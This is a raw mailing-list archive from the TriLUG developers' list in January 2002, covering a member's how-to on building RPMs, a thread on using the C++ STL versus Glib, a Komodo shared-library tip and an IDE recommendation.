From rpjday@mindspring.com Wed Jan 2 10:45:17 2002 Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id KAA01163 for ; Wed, 2 Jan 2002 10:45:17 -0500 Received: from user-2ivf70b.dialup.mindspring.com ([165.247.156.11]) by blount.mail.mindspring.net with esmtp (Exim 3.33 #1) id 16Lnc3-000744-00 for dev@trilug.org; Wed, 02 Jan 2002 10:47:32 -0500 Date: Wed, 2 Jan 2002 10:48:33 -0500 (EST) From: rpjday X-X-Sender: To: Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-1797430266-1009986513=:25761" Subject: [Dev] building RPMs Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --8323328-1797430266-1009986513=:25761 Content-Type: TEXT/PLAIN; charset=US-ASCII i'm not sure what the user population is on this group by now, but i've just finished another revision of my "building rpms" doc and am already on to the next revision. i'm interested in any feedback regarding corrections or ambiguities in this one. rday -- Robert P. J. Day Eno River Technologies, Chapel Hill NC Unix, Linux and Open Source corporate training "The Right seems determined to prove that government is bad by giving us spectacularly bad government." --8323328-1797430266-1009986513=:25761 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=buildrpm Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename=buildrpm KiBPdmVydmlldyAtLSBidWlsZGluZyBhIG5vYXJjaCBSUE0NCg0KICBUaGlz IGRvY3VtZW50IGRlc2NyaWJlcywgdXNpbmcgYSBjb25jcmV0ZSBleGFtcGxl LCBob3cgdG8gYnVpbGQNCmEgbm9uLWFyY2hpdGVjdHVyZS1zcGVjaWZpYyAo b3IgIm5vYXJjaCIpIFJQTSB0aGF0IHlvdSBtaWdodCB1c2UNCnRvIGRpc3Ry aWJ1dGUgbm9uLWJpbmFyeS1wcm9ncmFtLXJlbGF0ZWQgZmlsZXMgYW5kIGRp cmVjdG9yaWVzIHN1Y2gNCmFzIHRleHQgZmlsZXMsIGF1ZGlvIG9yIHZpZGVv IGZpbGVzLCBmb250IGZpbGVzIG9yIGV2ZW4gc2NyaXB0DQpwcm9ncmFtcyBz dWNoIGFzIHNoZWxsIG9yIFBlcmwgcHJvZ3JhbXMsIGFsb25nIHdpdGggc29t ZQ0KYWNjb21wYW55aW5nIGRvY3VtZW50YXRpb24gZmlsZXMgc3VjaCBhcyBS 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(66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id ACV61022; Wed, 2 Jan 2002 11:04:15 -0500 (EST) To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Wed, 2 Jan 2002 11:08:45 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 01/02/2002 11:08:47 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [Dev] test, please ignore.... Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Just trying to make sure my filtering rules work.... From rpjday@mindspring.com Wed Jan 2 11:09:21 2002 Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id LAA01319 for ; Wed, 2 Jan 2002 11:09:21 -0500 Received: from user-2ivf70b.dialup.mindspring.com ([165.247.156.11]) by hall.mail.mindspring.net with esmtp (Exim 3.33 #1) id 16LnzR-0002g7-00 for dev@trilug.org; Wed, 02 Jan 2002 11:11:41 -0500 Date: Wed, 2 Jan 2002 11:12:42 -0500 (EST) From: rpjday X-X-Sender: To: Subject: Re: [Dev] test, please ignore.... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wed, 2 Jan 2002 prhodes@vdsinc.com wrote: > Just trying to make sure my filtering rules work.... i'm sure it's only a coincidence that you're testing your filtering rules only minutes after i posted. :-) rday -- Robert P. J. Day Eno River Technologies, Chapel Hill NC Unix, Linux and Open Source corporate training "The Right seems determined to prove that government is bad by giving us spectacularly bad government." From prhodes@vdsinc.com Wed Jan 2 12:40:36 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id MAA01719 for ; Wed, 2 Jan 2002 12:40:36 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id ACV76846; Wed, 2 Jan 2002 12:42:54 -0500 (EST) Subject: Re: [Dev] test, please ignore.... To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Wed, 2 Jan 2002 12:47:23 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 01/02/2002 12:47:25 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > i'm sure it's only a coincidence that you're testing your filtering > rules only minutes after i posted. :-) Actually, it's not! :-) I've been out of the office almost continously since I first signed up for this list, and had forgotten about it. Your message earlier reminded me that I was on it, and hadn't set up a rule yet, to put messages from this list into a separate folder. I'm on so many dang mailing lists, the only way I can stay sane, and keep my inbox from overflowing, is to automatically filter message from mailing lists to separate folders.. if all this stuff went straight into my inbox, I'd go nuts.... TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From rpjday@mindspring.com Fri Jan 4 06:11:11 2002 Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id GAA12604 for ; Fri, 4 Jan 2002 06:11:10 -0500 Received: from user-2ivf2i3.dialup.mindspring.com ([165.247.138.67]) by barry.mail.mindspring.net with esmtp (Exim 3.33 #1) id 16MSHp-0000hd-00 for dev@trilug.org; Fri, 04 Jan 2002 06:13:21 -0500 Date: Fri, 4 Jan 2002 06:14:13 -0500 (EST) From: rpjday X-X-Sender: To: Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-2089650700-1010142853=:8143" Subject: [Dev] latest version of how to build RPMs Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --8323328-2089650700-1010142853=:8143 Content-Type: TEXT/PLAIN; charset=US-ASCII this was supposed to be such a simple thing to write, but once i started getting feedback on how to build RPMs "properly," this document took on a life of its own, and eventually morphed into how to build RPMs in general. i think it's pretty well a done deal, and i'm interested in any comments, criticisms, corrections, etc. and now, i'm going to make more coffee, lie on the couch, and look at all the snow outside the living room window. then go back to work on my perl course. later. rday --8323328-2089650700-1010142853=:8143 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=buildrpm Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename=buildrpm KiBPdmVydmlldyAtLSBidWlsZGluZyBSUE1zDQoNCiAgVGhpcyBkb2N1bWVu dCBkZXNjcmliZXMsIHVzaW5nIGEgY29uY3JldGUgZXhhbXBsZSwgaG93IHRv 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(johnson.mail.mindspring.net [207.69.200.177]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id AAA25034 for ; Sun, 6 Jan 2002 00:08:07 -0500 Received: from user-2ivf8s1.dialup.mindspring.com ([165.247.163.129] helo=there) by johnson.mail.mindspring.net with smtp (Exim 3.33 #1) id 16N5Zj-00072H-00 for dev@trilug.org; Sun, 06 Jan 2002 00:10:27 -0500 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller/bhu5nji" To: dev@trilug.org Date: Sat, 5 Jan 2002 12:08:46 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] STL Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Anyone out there using or used the C++ Standard Template Library? I want a dynamic list and the thought of writing another drove me to find STL. I bought a book (STL Tutorial and Reference Guide, 2nd Ed. by Musser, Derge, and Saini) that seems well written. Mike From brent@mutt.rcfile.org Sun Jan 6 00:22:24 2002 Received: from habanero.hesketh.net (habanero.hesketh.net [66.45.6.196]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id AAA25101 for ; Sun, 6 Jan 2002 00:22:23 -0500 Received: from mutt.rcfile.org (root@rdu57-26-120.nc.rr.com [66.57.26.120]) by habanero.hesketh.net (8.11.6/8.11.1) with ESMTP id g065OZU08840 for ; Sun, 6 Jan 2002 00:24:36 -0500 X-Received-From: brent@mutt.rcfile.org X-Delivered-To: X-Spam-Filter: check_local@habanero.hesketh.net by digitalanswers.org X-More-Information: http://spamfighter.hesketh.net Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g065OnJ13798 for dev@trilug.org; Sun, 6 Jan 2002 00:24:49 -0500 (EST) (envelope-from brent) Date: Sun, 6 Jan 2002 00:24:49 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] STL Message-ID: <20020106052449.GA13764@rcfile.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.24i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-PRERELEASE #4: Fri Jan 4 16:37:03 EST 2002 root@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-01-05 12:08] M. Mueller/bhu5nji said: | Anyone out there using or used the C++ Standard Template Library? I want a | dynamic list and the thought of writing another drove me to find STL. I | bought a book (STL Tutorial and Reference Guide, 2nd Ed. by Musser, Derge, | and Saini) that seems well written. I've hacked around the stl a bit. If you have problems, I'll do my best to help, but I'm not a regular c++ coder. b -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From ed@eh3.com Sun Jan 6 00:59:51 2002 Received: from eddy.mines.edu (kato-ppp11.Mines.EDU [138.67.58.77]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id AAA25301 for ; Sun, 6 Jan 2002 00:59:49 -0500 Received: (from edhill@localhost) by eddy.mines.edu (8.11.6/8.11.6) id g065ti803266; Sat, 5 Jan 2002 22:55:44 -0700 X-Authentication-Warning: eddy.mines.edu: edhill set sender to ed@eh3.com using -f Subject: Re: [Dev] STL From: Ed Hill To: dev@trilug.org In-Reply-To: References: Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-UhIqTWy16Rf71TQgSlFd" X-Mailer: Evolution/1.0 (Preview Release) Date: 05 Jan 2002 22:55:44 -0700 Message-Id: <1010296544.2843.4.camel@eddy> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-UhIqTWy16Rf71TQgSlFd Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Sat, 2002-01-05 at 10:08, M. Mueller/bhu5nji wrote: > Anyone out there using or used the C++ Standard Template Library? I want= a=20 > dynamic list and the thought of writing another drove me to find STL. I=20 > bought a book (STL Tutorial and Reference Guide, 2nd Ed. by Musser, Derge= ,=20 > and Saini) that seems well written. Hi Mike, I've used the STL a lot in the past (originally with the Rogue Wave STL implementation on HP-UX and Suns and later with EGCS/GCC on Linux).=20 I've found that it can be *QUITE* painful to port STL code from one compiler/library to another or even to a newer rev of the same compiler/library. The reason is that different template libraries are of varying complexity (using more or less template features) and they tend to *really* exercise the compiler. So be careful! Stuff that I wrote that worked well with the old HP aC++ and EGCS releases is now very broken with the RH 7.x gcc (gcc "2.96"), with the more recent 3.x gcc versions, and with other C++ compilers. And broken template code just sucks to debug. In terms of STL docs, I've used B. Stroustrup's text (excellent), the Rogue Wave HTML docs that come with their implementation (ok), online docs from the SGI STL implementation (ok), and some more esoteric refs (eg. Barton & Nackman's "Scientific and Engineering C++"). If all you want are decent implementations of some data structures and algorithms, then I strongly suggest that you look into something other than the STL. Take a good look at the C-based Glib http://developer.gnome.org/arch/gtk/glib.html library which you can, of course, use within C++. Its *very* portable.=20 And most of the data structures and algorithms that you're likely want are in there... hth, Ed=20 --=20 Edward H. Hill III, PhD Post-Doctoral Researcher | Email: ed@eh3.com, ehill@mines.edu Division of ESE | URL: http://www.eh3.com Colorado School of Mines | Phone: 303-273-3483 Golden, CO 80401 | Fax: 303-273-3311 GnuPG Key ID: 1E76F123 | Public key: http://www.eh3.com/eh3.gpg --=-UhIqTWy16Rf71TQgSlFd Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8N+bgkytyZh528SMRAs6aAJ9G9F1sS3IBEHx4eaUDSWGQ8vRJbQCfSgc9 4AQv2IRO9GYg6UH35+2I2WE= =mYQT -----END PGP SIGNATURE----- --=-UhIqTWy16Rf71TQgSlFd-- From lovelace@wayfarer.org Sun Jan 6 03:46:35 2002 Received: from maddux.wayfarer.org (rdu25-14-014.nc.rr.com [24.25.14.14]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id DAA26034 for ; Sun, 6 Jan 2002 03:46:34 -0500 Received: (qmail 22719 invoked by uid 401); 6 Jan 2002 08:52:57 -0000 Received: from localhost (HELO kendrick.house.wayfarer.org) (lovelace@127.0.0.1) by localhost with SMTP; 6 Jan 2002 08:52:57 -0000 Subject: Re: [Dev] STL From: Tanner Lovelace To: dev@trilug.org In-Reply-To: <1010296544.2843.4.camel@eddy> References: <1010296544.2843.4.camel@eddy> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-nokI9k7t5nmNoQFm3Bf8" X-Mailer: Evolution/1.0 (Preview Release) Date: 06 Jan 2002 03:48:27 -0500 Message-Id: <1010306911.3408.1.camel@kendrick> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-nokI9k7t5nmNoQFm3Bf8 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Sun, 2002-01-06 at 00:55, Ed Hill wrote: > I've used the STL a lot in the past (originally with the Rogue Wave STL > implementation on HP-UX and Suns and later with EGCS/GCC on Linux).=20 > I've found that it can be *QUITE* painful to port STL code from one > compiler/library to another or even to a newer rev of the same > compiler/library. The reason is that different template libraries are > of varying complexity (using more or less template features) and they > tend to *really* exercise the compiler. So be careful! Stuff that I > wrote that worked well with the old HP aC++ and EGCS releases is now > very broken with the RH 7.x gcc (gcc "2.96"), with the more recent 3.x > gcc versions, and with other C++ compilers. And broken template code > just sucks to debug. Unless you're writing STL code under windows using Visual C++ (which, btw, sucks for template support) you shouldn't have any problem using the STL. That may have been different in the past, but now that we have a standard and compilers are actually implementing it, there shouldn't be any problems. If there are, you can always uses the SGI STL... =20 > In terms of STL docs, I've used B. Stroustrup's text (excellent), the > Rogue Wave HTML docs that come with their implementation (ok), online > docs from the SGI STL implementation (ok), and some more esoteric refs > (eg. Barton & Nackman's "Scientific and Engineering C++"). >=20 I would highly, highly, highly, highly, highly, highly, highly recommend "The C++ Standard Library" by Josuttis (published by Addison Wesley). It is by far the best STL book I have ever seen (and I've looked at=20 several, but not the latest version of Musser and Saini...) > If all you want are decent implementations of some data structures and > algorithms, then I strongly suggest that you look into something other > than the STL. Take a good look at the C-based Glib >=20 > http://developer.gnome.org/arch/gtk/glib.html >=20 > library which you can, of course, use within C++. Its *very* portable.=20 > And most of the data structures and algorithms that you're likely want > are in there... >=20 Yes, you can use glib in C++, but you lose way too much of the=20 power of C++. Face it. Using C code when you could use C++ is a hack. It's ugly and it makes you do way to much stuff. C++ was written so you don't have to do that stuff so you might as well use it. Okay, now that everyone knows my biases :-) I'll go back to what I was doing. Tanner Lovelace --=20 Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint =3D A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Those who are willing to sacrifice essential liberties for a little=20 order, will lose both and deserve neither. -- Benjamin Franklin=20 History teaches that grave threats to liberty often come in times of urgency, when constitutional rights seem too extravagant to=20 endure. -- Justice Thurgood Marshall, 1989=20 --=-nokI9k7t5nmNoQFm3Bf8 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8OA9bzglPjt52OdQRAtBjAKCXDOKdOhgZXUn7dOAR2k9p13ahxQCePnd3 OIlJVl78t5kRiTfnYNKpyZk= =DELi -----END PGP SIGNATURE----- --=-nokI9k7t5nmNoQFm3Bf8-- From bhu5nji@yahoo.com Sun Jan 6 11:53:13 2002 Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id LAA01043 for ; Sun, 6 Jan 2002 11:53:13 -0500 Received: from user-2ivf8s1.dialup.mindspring.com ([165.247.163.129] helo=there) by smtp6.mindspring.com with smtp (Exim 3.33 #1) id 16NGa3-00059S-00 for dev@trilug.org; Sun, 06 Jan 2002 11:55:31 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller/bhu5nji" To: dev@trilug.org Subject: Re: [Dev] STL Date: Sat, 5 Jan 2002 23:53:49 -0500 X-Mailer: KMail [version 1.3.1] References: <1010296544.2843.4.camel@eddy> <1010306911.3408.1.camel@kendrick> In-Reply-To: <1010306911.3408.1.camel@kendrick> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Thanks for the comments. I added a couple more below. Mike > I would highly, highly, highly, highly, highly, highly, highly recommend > "The C++ Standard Library" by Josuttis (published by Addison Wesley). > It is by far the best STL book I have ever seen (and I've looked at > several, but not the latest version of Musser and Saini...) I did a stare and compare of the Josuttis book (copyright 1999 $49) and the Musser et al 2nd. Ed. (copyright 2001 $44) at my local Borders. They were quite similar. I opted to the Musser book for 4 reasons: 1) more recent copyright, 2) Musser is professionally close to Stepanov, 3) Addison Wesly Professional Computing Series have been good choices in the past, and 4) the reference material was slightly more verbose. I felt a bit rebellious since Amazon reviews were similar in nature to the one above. > > > If all you want are decent implementations of some data structures and > > algorithms, then I strongly suggest that you look into something other > > than the STL. Take a good look at the C-based Glib > > > > http://developer.gnome.org/arch/gtk/glib.html > > > > library which you can, of course, use within C++. Its *very* portable. > > And most of the data structures and algorithms that you're likely want > > are in there... > > Yes, you can use glib in C++, but you lose way too much of the > power of C++. Face it. Using C code when you could use C++ > is a hack. It's ugly and it makes you do way to much stuff. C++ > was written so you don't have to do that stuff so you might as > well use it. I also recall that GLIB is covered by the GPL and the C++ Stand Library is covered by the LGPL. As I am developing a commercial application, the LGPL is more attractive to me as well. From lovelace@wayfarer.org Sun Jan 6 16:54:19 2002 Received: from maddux.wayfarer.org (rdu25-14-014.nc.rr.com [24.25.14.14]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id QAA02802 for ; Sun, 6 Jan 2002 16:54:18 -0500 Received: (qmail 1466 invoked by uid 401); 6 Jan 2002 22:00:44 -0000 Received: from localhost (HELO tigger.house.wayfarer.org) (lovelace@127.0.0.1) by localhost with SMTP; 6 Jan 2002 22:00:44 -0000 Subject: Re: [Dev] STL From: Tanner Lovelace To: dev@trilug.org In-Reply-To: References: <1010296544.2843.4.camel@eddy> <1010306911.3408.1.camel@kendrick> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-aAwwsvyZVeiW5W508pqL" X-Mailer: Evolution/1.0 (Preview Release) Date: 06 Jan 2002 16:55:42 -0500 Message-Id: <1010354142.10349.7.camel@tigger.house.wayfarer.org> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-aAwwsvyZVeiW5W508pqL Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Sat, 2002-01-05 at 23:53, M. Mueller/bhu5nji wrote: > I did a stare and compare of the Josuttis book (copyright 1999 $49) and t= he=20 > Musser et al 2nd. Ed. (copyright 2001 $44) at my local Borders. They wer= e=20 > quite similar. I opted to the Musser book for 4 reasons: 1) more recent=20 > copyright, 2) Musser is professionally close to Stepanov, 3) Addison Wesl= y=20 > Professional Computing Series have been good choices in the past, and 4) = the=20 > reference material was slightly more verbose. I felt a bit rebellious si= nce=20 > Amazon reviews were similar in nature to the one above. There's a reason the reviews are like that. :-) Like I said, however, I haven't seen Musser 2nd ed. so it could be just as good. I know that the 1st edition is considered the seminal work... Don't discount Josuttis too much though. I belive he was one the committee that worked on standardizing the STL. This, to me, counts for more since the STL has changed considerably since Stepanov first introduced it (for the better of course:). > I also recall that GLIB is covered by the GPL and the C++ Stand Library i= s=20 > covered by the LGPL. As I am developing a commercial application, the LG= PL=20 > is more attractive to me as well. No, glib is LGPL. STL, however, being part of the standard C++ library, is available under whatever kind of license you want. In fact, if your C++ compiler doesn't include it, it's not a (standards compliant) C++ compiler. :-) Tanner --=20 Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint =3D A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Those who are willing to sacrifice essential liberties for a little=20 order, will lose both and deserve neither. -- Benjamin Franklin=20 History teaches that grave threats to liberty often come in times of urgency, when constitutional rights seem too extravagant to=20 endure. -- Justice Thurgood Marshall, 1989=20 --=-aAwwsvyZVeiW5W508pqL Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8OMfdzglPjt52OdQRArUkAJ9RyMHn0VBquZD62bYHcsUhCnWk+wCeIvNL dNxdGmY7U6/wgT4yHQWDCKc= =pr2t -----END PGP SIGNATURE----- --=-aAwwsvyZVeiW5W508pqL-- From craigduncan@nc.rr.com Sun Jan 6 23:32:27 2002 Received: from mail5.nc.rr.com (fe5.southeast.rr.com [24.93.67.52]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id XAA04707 for ; Sun, 6 Jan 2002 23:32:27 -0500 Received: from there ([66.26.232.2]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Sun, 6 Jan 2002 23:34:45 -0500 Content-Type: text/plain; charset="iso-8859-15" From: Craig Duncan Organization: Iona Consulting, Inc. To: dev@trilug.org Date: Sun, 6 Jan 2002 23:35:39 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <05ec04534040712FE5@mail5.nc.rr.com> Subject: [Dev] Komodo shared library solution Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: In case it helps someone else setting up ActiveState's IDE Komodo to do remote debugging of PHP scripts while running Apache as a service. After adding the directory containing the ActiveState shared library files to /etc/ld.so.conf (per online instructions), you need to run the command "ldconfig". The second step not being part of the instructions and not in the cranial knowledgebase of this non-admin :=) Alternatively, you could add and export the LD_LIBRARY_PATH variable in the apchectl script, which is how I first got it to work, but somehow I do not think this is the best approach. Cheers, Craig From prhodes@vdsinc.com Mon Jan 7 15:18:19 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA09174; Mon, 7 Jan 2002 15:18:19 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id ADA40744; Mon, 7 Jan 2002 15:20:35 -0500 (EST) To: trilug@trilug.org, dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Mon, 7 Jan 2002 15:25:13 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 01/07/2002 03:25:14 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [Dev] Re: [TriLUG] IDE for C Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > Can someone recommend an open source or inexpensive IDE for C > which I can put on my RH 7.0 system? Try Rhide. It's a character mode IDE that was originally written to work with DJGPP on DOS. It's now available on Linux, however. It sports the old "Borland C++ 3.0 for DOS" look, often associated with TurboVision. It works with C, C++, Pascal and other languages. http://www.rhide.com/ is the homepage. TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From bhu5nji@yahoo.com Tue Jan 8 09:48:53 2002 Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id JAA14556 for ; Tue, 8 Jan 2002 09:48:53 -0500 Received: from user-2ivf8s1.dialup.mindspring.com ([165.247.163.129] helo=there) by blount.mail.mindspring.net with smtp (Exim 3.33 #1) id 16Nxak-0000e1-00 for dev@trilug.org; Tue, 08 Jan 2002 09:51:06 -0500 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller/bhu5nji" To: dev@trilug.org Date: Mon, 7 Jan 2002 21:49:15 -0500 X-Mailer: KMail [version 1.3.1] 